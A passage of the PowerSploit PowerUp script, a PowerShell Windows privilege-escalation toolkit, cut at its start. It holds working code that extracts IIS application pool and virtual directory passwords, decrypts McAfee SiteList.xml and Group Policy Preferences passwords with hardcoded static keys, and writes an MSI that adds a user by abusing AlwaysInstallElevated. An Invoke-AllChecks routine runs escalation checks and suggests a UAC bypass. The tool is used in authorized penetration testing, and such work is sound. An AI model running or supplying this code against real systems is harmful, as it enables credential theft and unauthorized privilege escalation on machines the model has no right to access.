        $Null = $DataTable.Columns.Add("user")
        $Null = $DataTable.Columns.Add("pass")
        $Null = $DataTable.Columns.Add("type")
        $Null = $DataTable.Columns.Add("vdir")
        $Null = $DataTable.Columns.Add("apppool")

        # Get list of application pools
        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

            # Get application pool name
            $PoolName = $_

            # Get username
            $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
            $PoolUser = Invoke-Expression $PoolUserCmd

            # Get password
            $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
            $PoolPassword = Invoke-Expression $PoolPasswordCmd

            # Check if credentials exists
            if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
                # Add credentials to database
                $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
            }
        }

        # Get list of virtual directories
        Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

            # Get Virtual Directory Name
            $VdirName = $_

            # Get username
            $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
            $VdirUser = Invoke-Expression $VdirUserCmd

            # Get password
            $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
            $VdirPassword = Invoke-Expression $VdirPasswordCmd

            # Check if credentials exists
            if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
                # Add credentials to database
                $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
            }
        }

        # Check if any passwords were found
        if( $DataTable.rows.Count -gt 0 ) {
            # Display results in list view that can feed into the pipeline
            $DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
        }
        else {
            # Status user
            Write-Verbose 'No application pool or virtual directory passwords were found.'
            $False
        }
    }
    else {
        Write-Verbose 'Appcmd.exe does not exist in the default location.'
        $False
    }

    $ErrorActionPreference = $OrigError
}


function Get-SiteListPassword {
<#
    .SYNOPSIS

        Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
        Based on Jerome Nokin (@funoverip)'s Python solution (in links).

        PowerSploit Function: Get-SiteListPassword
        Original Author: Jerome Nokin (@funoverip)
        PowerShell Port: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\,
        C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate
        credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
        function that takes advantage of McAfee's static key encryption. Any decrypted credentials
        are output in custom objects. See links for more information.

    .PARAMETER Path

        Optional path to a SiteList.xml file or folder.

    .EXAMPLE

        PS C:\> Get-SiteListPassword

        EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
        UserName    :
        Path        : Products/CommonUpdater
        Name        : McAfeeHttp
        DecPassword : MyStrongPassword!
        Enabled     : 1
        DomainName  :
        Server      : update.nai.com:80

        EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
        UserName    : McAfeeService
        Path        : Repository$
        Name        : Paris
        DecPassword : MyStrongPassword!
        Enabled     : 1
        DomainName  : companydomain
        Server      : paris001

        EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
        UserName    : McAfeeService
        Path        : Repository$
        Name        : Tokyo
        DecPassword : MyStrongPassword!
        Enabled     : 1
        DomainName  : companydomain
        Server      : tokyo000

    .LINK

        https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
        https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
        https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
        https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0, ValueFromPipeline=$True)]
        [ValidateScript({Test-Path -Path $_ })]
        [String[]]
        $Path
    )

    BEGIN {
        function Local:Get-DecryptedSitelistPassword {
            # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
            # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
            # port by @harmj0y
            [CmdletBinding()]
            Param (
                [Parameter(Mandatory=$True)]
                [String]
                $B64Pass
            )

            # make sure the appropriate assemblies are loaded
            Add-Type -Assembly System.Security
            Add-Type -Assembly System.Core

            # declare the encoding/crypto providers we need
            $Encoding = [System.Text.Encoding]::ASCII
            $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
            $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider

            # static McAfee key XOR key LOL
            $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19

            # xor the input b64 string with the static XOR key
            $I = 0;
            $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }

            # build the static McAfee 3DES key TROLOL
            $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4

            # set the options we need
            $3DES.Mode = 'ECB'
            $3DES.Padding = 'None'
            $3DES.Key = $3DESKey

            # decrypt the unXor'ed block
            $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)

            # ignore the padding for the result
            $Index = [Array]::IndexOf($Decrypted, [Byte]0)
            if($Index -ne -1) {
                $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
            }
            else {
                $DecryptedPass = $Encoding.GetString($Decrypted)
            }

            New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
        }

        function Local:Get-SitelistFields {
            [CmdletBinding()]
            Param (
                [Parameter(Mandatory=$True)]
                [String]
                $Path
            )

            try {
                [Xml]$SiteListXml = Get-Content -Path $Path

                if($SiteListXml.InnerXml -Like "*password*") {
                    Write-Verbose "Potential password in found in $Path"

                    $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
                        try {
                            $PasswordRaw = $_.Password.'#Text'

                            if($_.Password.Encrypted -eq 1) {
                                # decrypt the base64 password if it's marked as encrypted
                                $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
                            }
                            else {
                                $DecPassword = $PasswordRaw
                            }

                            $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
                            $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }

                            $ObjectProperties = @{
                                'Name' = $_.Name;
                                'Enabled' = $_.Enabled;
                                'Server' = $Server;
                                'Path' = $Path;
                                'DomainName' = $_.DomainName;
                                'UserName' = $_.UserName;
                                'EncPassword' = $PasswordRaw;
                                'DecPassword' = $DecPassword;
                            }
                            New-Object -TypeName PSObject -Property $ObjectProperties
                        }
                        catch {
                            Write-Verbose "Error parsing node : $_"
                        }
                    }
                }
            }
            catch {
                Write-Warning "Error parsing file '$Path' : $_"
            }
        }
    }

    PROCESS {
        if($PSBoundParameters['Path']) {
            $XmlFilePaths = $Path
        }
        else {
            $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')
        }

        $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
            Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
            Get-SitelistFields -Path $_.Fullname
        }
    }
}


function Get-CachedGPPPassword {
<#
    .SYNOPSIS

        Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.

        PowerSploit Function: Get-CachedGPPPassword
        Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .DESCRIPTION

        Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.

    .EXAMPLE

        PS C:\> Get-CachedGPPPassword


        NewName   : [BLANK]
        Changed   : {2013-04-25 18:36:07}
        Passwords : {Super!!!Password}
        UserNames : {SuperSecretBackdoor}
        File      : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
                    C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
                    oups.xml

    .LINK
        
        http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
        https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
        http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
        http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
    
    [CmdletBinding()]
    Param()
    
    # Some XML issues between versions
    Set-StrictMode -Version 2

    # make sure the appropriate assemblies are loaded
    Add-Type -Assembly System.Security
    Add-Type -Assembly System.Core
    
    # helper that decodes and decrypts password
    function local:Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword 
        )

        try {
            # Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
            
            switch ($Mod) {
                '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
                '2' {$Cpassword += ('=' * (4 - $Mod))}
                '3' {$Cpassword += ('=' * (4 - $Mod))}
            }

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
            # Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
            # Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
        
        catch {Write-Error $Error[0]}
    }  
    
    # helper that parses fields from the found xml preference files
    function local:Get-GPPInnerFields {
        [CmdletBinding()]
        Param (
            $File 
        )
    
        try {
            
            $Filename = Split-Path $File -Leaf
            [XML] $Xml = Get-Content ($File)

            $Cpassword = @()
            $UserName = @()
            $NewName = @()
            $Changed = @()
            $Password = @()
    
            # check for password field
            if ($Xml.innerxml -like "*cpassword*"){
            
                Write-Verbose "Potential password in $File"
                
                switch ($Filename) {
                    'Groups.xml' {
                        $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }
        
                    'Services.xml' {  
                        $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }
        
                    'Scheduledtasks.xml' {
                        $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }
        
                    'DataSources.xml' { 
                        $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}                          
                    }
                    
                    'Printers.xml' { 
                        $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                    }
  
                    'Drives.xml' { 
                        $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
                        $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 
                    }
                }
           }
                     
           foreach ($Pass in $Cpassword) {
               Write-Verbose "Decrypting $Pass"
               $DecryptedPassword = Get-DecryptedCpassword $Pass
               Write-Verbose "Decrypted a password of $DecryptedPassword"
               #append any new passwords to array
               $Password += , $DecryptedPassword
           }
            
            # put [BLANK] in variables
            if (-not $Password) {$Password = '[BLANK]'}
            if (-not $UserName) {$UserName = '[BLANK]'}
            if (-not $Changed)  {$Changed = '[BLANK]'}
            if (-not $NewName)  {$NewName = '[BLANK]'}
                  
            # Create custom object to output results
            $ObjectProperties = @{'Passwords' = $Password;
                                  'UserNames' = $UserName;
                                  'Changed' = $Changed;
                                  'NewName' = $NewName;
                                  'File' = $File}
                
            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
            Write-Verbose "The password is between {} and may be more than one value."
            if ($ResultsObject) {Return $ResultsObject} 
        }

        catch {Write-Error $Error[0]}
    }
    
    try {
        $AllUsers = $Env:ALLUSERSPROFILE

        if($AllUsers -notmatch 'ProgramData') {
            $AllUsers = "$AllUsers\Application Data"
        }

        # discover any locally cached GPP .xml files
        $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
    
        if ( -not $XMlFiles ) {
            Write-Verbose 'No preference files found.'
        }
        else {
            Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."

            ForEach ($File in $XMLFiles) {
                Get-GppInnerFields $File.Fullname
            }
        }
    }

    catch {Write-Error $Error[0]}
}


function Write-UserAddMSI {
<#
    .SYNOPSIS

        Writes out a precompiled MSI installer that prompts for a user/group addition.
        This function can be used to abuse Get-RegistryAlwaysInstallElevated.

    .EXAMPLE

        PS C:\> Write-UserAddMSI

        Writes the user add MSI to the local directory.
#>

    $Path = 'UserAdd.msi'

    $Binary = "[encoded data, 278528 characters]"

    try {
        [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte
        Write-Verbose "MSI written out to '$Path'"

        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'OutputPath' $Path
        $Out
    }
    catch {
        Write-Warning "Error while writing to location '$Path': $_"
        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'OutputPath' $_
        $Out
    }
}


function Invoke-AllChecks {
<#
    .SYNOPSIS

        Runs all functions that check for various Windows privilege escalation opportunities.

        Author: @harmj0y
        License: BSD 3-Clause

    .PARAMETER HTMLReport

        Switch. Write a HTML version of the report to SYSTEM.username.html.

    .EXAMPLE

        PS C:\> Invoke-AllChecks

        Runs all escalation checks and outputs a status report for discovered issues.

    .EXAMPLE

        PS C:\> Invoke-AllChecks -HTMLReport

        Runs all escalation checks and outputs a status report to SYSTEM.username.html
        detailing any discovered issues.
#>

    [CmdletBinding()]
    Param(
        [Switch]
        $HTMLReport
    )

    if($HTMLReport) {
        $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"

        $Header = "<style>"
        $Header = $Header + "BODY{background-color:peachpuff;}"
        $Header = $Header + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"
        $Header = $Header + "TH{border-width: 1px;padding: 0px;border-style: solid;border-color: black;background-color:thistle}"
        $Header = $Header + "TD{border-width: 3px;padding: 0px;border-style: solid;border-color: black;background-color:palegoldenrod}"
        $Header = $Header + "</style>"

        ConvertTo-HTML -Head $Header -Body "<H1>PowerUp report for '$($Env:ComputerName).$($Env:UserName)'</H1>" | Out-File $HtmlReportFile
    }

    # initial admin checks

    "`n[*] Running Invoke-AllChecks"

    $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")

    if($IsAdmin){
        "[+] Current user already has local administrative privileges!"

        if($HTMLReport) {
            ConvertTo-HTML -Head $Header -Body "<H2>User Has Local Admin Privileges!</H2>" | Out-File -Append $HtmlReportFile
        }
    }
    else{
        "`n`n[*] Checking if user is in a local group with administrative privileges..."

        $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID
        if($CurrentUserSids -contains 'S-1-5-32-544') {
            "[+] User is in a local group that grants administrative privileges!"
            "[+] Run a BypassUAC attack to elevate privileges to admin."

            if($HTMLReport) {
                ConvertTo-HTML -Head $Header -Body "<H2> User In Local Group With Administrative Privileges</H2>" | Out-File -Append $HtmlReportFile
            }
        }
    }


    # Service checks

    "`n`n[*] Checking for unquoted service paths..."
    $Results = Get-ServiceUnquoted
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unquoted Service Paths</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking service executable and argument permissions..."
    $Results = Get-ModifiableServiceFile
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Service File Permissions</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking service permissions..."
    $Results = Get-ModifiableService
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifiable Services</H2>" | Out-File -Append $HtmlReportFile
    }


    # DLL hijacking

    "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..."
    $Results = Find-PathDLLHijack
    $Results | Where-Object {$_} | Foreach-Object {
        $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'"
        $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString
        $_
    } | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>%PATH% .dll Hijacks</H2>" | Out-File -Append $HtmlReportFile
    }


    # registry checks

    "`n`n[*] Checking for AlwaysInstallElevated registry key..."
    if (Get-RegistryAlwaysInstallElevated) {
        $Out = New-Object PSObject
        $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI"
        $Results = $Out

        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Head $Header -Body "<H2>AlwaysInstallElevated</H2>" | Out-File -Append $HtmlReportFile
        }
    }

    "`n`n[*] Checking for Autologon credentials in registry..."
    $Results = Get-RegistryAutoLogon
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autologons</H2>" | Out-File -Append $HtmlReportFile
    }


    "`n`n[*] Checking for modifidable registry autoruns and configs..."
    $Results = Get-ModifiableRegistryAutoRun
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autoruns</H2>" | Out-File -Append $HtmlReportFile
    }

    # other checks

    "`n`n[*] Checking for modifiable schtask files/configs..."
    $Results = Get-ModifiableScheduledTaskFile
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifidable Schask Files</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking for unattended install files..."
    $Results = Get-UnattendedInstallFile
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unattended Install Files</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking for encrypted web.config strings..."
    $Results = Get-Webconfig | Where-Object {$_}
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted 'web.config' String</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking for encrypted application pool and virtual directory passwords..."
    $Results = Get-ApplicationHost | Where-Object {$_}
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile
    }

    "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...."
    $Results = Get-SiteListPassword | Where-Object {$_}
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>McAfee's SiteList.xml's</H2>" | Out-File -Append $HtmlReportFile
    }
    "`n"

    "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
    $Results = Get-CachedGPPPassword | Where-Object {$_}
    $Results | Format-List
    if($HTMLReport) {
        $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
    }
    "`n"

    if($HTMLReport) {
        "[*] Report written to '$HtmlReportFile' `n"
    }
}


# PSReflect signature specifications
$Module = New-InMemoryModule -ModuleName PowerUpModule

$FunctionDefinitions = @(
    (func kernel32 GetCurrentProcess ([IntPtr]) @())
    (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError)
    (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
    (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
    (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
    (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode),
    (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
)

# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{
    QueryConfig =           '0x00000001'
    ChangeConfig =          '0x00000002'
    QueryStatus =           '0x00000004'
    EnumerateDependents =   '0x00000008'
    Start =                 '0x00000010'
    Stop =                  '0x00000020'
    PauseContinue =         '0x00000040'
    Interrogate =           '0x00000080'
    UserDefinedControl =    '0x00000100'
    Delete =                '0x00010000'
    ReadControl =           '0x00020000'
    WriteDac =              '0x00040000'
    WriteOwner =            '0x00080000'
    Synchronize =           '0x00100000'
    AccessSystemSecurity =  '0x01000000'
    GenericAll =            '0x10000000'
    GenericExecute =        '0x20000000'
    GenericWrite =          '0x40000000'
    GenericRead =           '0x80000000'
    AllAccess =             '0x000F01FF'
} -Bitfield

$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{
    SE_GROUP_ENABLED =              '0x00000004'
    SE_GROUP_ENABLED_BY_DEFAULT =   '0x00000002'
    SE_GROUP_INTEGRITY =            '0x00000020'
    SE_GROUP_INTEGRITY_ENABLED =    '0xC0000000'
    SE_GROUP_MANDATORY =            '0x00000001'
    SE_GROUP_OWNER =                '0x00000008'
    SE_GROUP_RESOURCE =             '0x20000000'
    SE_GROUP_USE_FOR_DENY_ONLY =    '0x00000010'
} -Bitfield

$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{
    Sid         =   field 0 IntPtr
    Attributes  =   field 1 UInt32
}

$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{
    GroupCount  = field 0 UInt32
    Groups      = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32)
}

$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
$Advapi32 = $Types['advapi32']
$Kernel32 = $Types['kernel32']
Invoke-AllChecks